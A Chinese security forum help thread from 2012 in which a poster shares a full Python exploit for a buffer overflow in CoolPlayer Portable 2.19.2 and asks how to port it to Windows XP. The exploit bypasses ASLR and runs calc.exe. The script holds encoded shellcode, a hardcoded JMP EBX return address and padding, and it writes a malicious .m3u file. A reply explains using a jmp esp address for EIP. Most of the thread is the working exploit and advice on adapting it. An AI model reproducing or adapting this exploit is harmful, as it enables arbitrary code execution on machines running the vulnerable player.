首页
社区
课程
招聘
[求助]请教该漏洞的改写方法
发表于: 2012-10-12 11:45 3598

[求助]请教该漏洞的改写方法

2012-10-12 11:45
3598
# Buffer overflow that bypasses ASLR by using a non-aslr module
# Tested against CoolPlayer Portable version 2.19.2 on Windows Vista Business 32 bit
# Written by Blake patched by pole
# Originally found by Securityxxxpert

print "\n====================================="
print "CoolPlayer Portable Buffer Overflow"
print "Tested on Windows Vista (ASLR Bypass)"
print "Written by Blake"
print "Patched by pole"
print "=====================================\n"

# 233 bytes for shellcode available
# 227 byte windows/exec shellcode => CMD=calc.exe
shellcode=(
"\xda\xc5\xbe\xda\xc6\x9a\xb6\xd9\x74\x24\xf4\x5d\x2b\xc9\xb1"
"\x33\x83\xc5\x04\x31\x75\x13\x03\xaf\xd5\x78\x43\xb3\x32\xf5"
"\xac\x4b\xc3\x66\x24\xae\xf2\xb4\x52\xbb\xa7\x08\x10\xe9\x4b"
"\xe2\x74\x19\xdf\x86\x50\x2e\x68\x2c\x87\x01\x69\x80\x07\xcd"
"\xa9\x82\xfb\x0f\xfe\x64\xc5\xc0\xf3\x65\x02\x3c\xfb\x34\xdb"
"\x4b\xae\xa8\x68\x09\x73\xc8\xbe\x06\xcb\xb2\xbb\xd8\xb8\x08"
"\xc5\x08\x10\x06\x8d\xb0\x1a\x40\x2e\xc1\xcf\x92\x12\x88\x64"
"\x60\xe0\x0b\xad\xb8\x09\x3a\x91\x17\x34\xf3\x1c\x69\x70\x33"
"\xff\x1c\x8a\x40\x82\x26\x49\x3b\x58\xa2\x4c\x9b\x2b\x14\xb5"
"\x1a\xff\xc3\x3e\x10\xb4\x80\x19\x34\x4b\x44\x12\x40\xc0\x6b"
"\xf5\xc1\x92\x4f\xd1\x8a\x41\xf1\x40\x76\x27\x0e\x92\xde\x98"
"\xaa\xd8\xcc\xcd\xcd\x82\x9a\x10\x5f\xb9\xe3\x13\x5f\xc2\x43"
"\x7c\x6e\x49\x0c\xfb\x6f\x98\x69\xf3\x25\x81\xdb\x9c\xe3\x53"
"\x5e\xc1\x13\x8e\x9c\xfc\x97\x3b\x5c\xfb\x88\x49\x59\x47\x0f"
"\xa1\x13\xd8\xfa\xc5\x80\xd9\x2e\xa6\x47\x4a\xb2\x07\xe2\xea"
"\x51\x58")

nops = "\x90" * 6
buffer = "\x41" * (229 - len(shellcode))

eip = "\x00\x10\xd1\x77"        # JMP EBX - coolplayer.exe "\x75\x52\x46\x00"       

print "[+] Creating malicious file"
try:
        file = open("exploit.m3u","w")
        file.write(nops + shellcode + buffer + eip)
        file.close()
        print "[+] File created successfully"
        raw_input("[+] Press any key to exit...")
except:
        print "[X] Error creating file!"
        sys.exit(0)

请问该漏洞的触发必须用nops + shellcode + buffer + eip格式吗?
想把它改写成winxp下的, 能否用buffer + eip + shellcode格式? 不过我试了一下,算出了eip的正确偏移, 在用新格式下的话就不行. 请教大牛

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 72
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
2
用nops + shellcode + buffer + eip是因为方便跳入shellcode。EIP填写一个jmp esp的地址即可。
楼主用buffer + eip + shellcode的方式,那么EIP要填写什么呢?
2012-10-12 15:35
0
游客
登录 | 注册 方可回帖
返回
//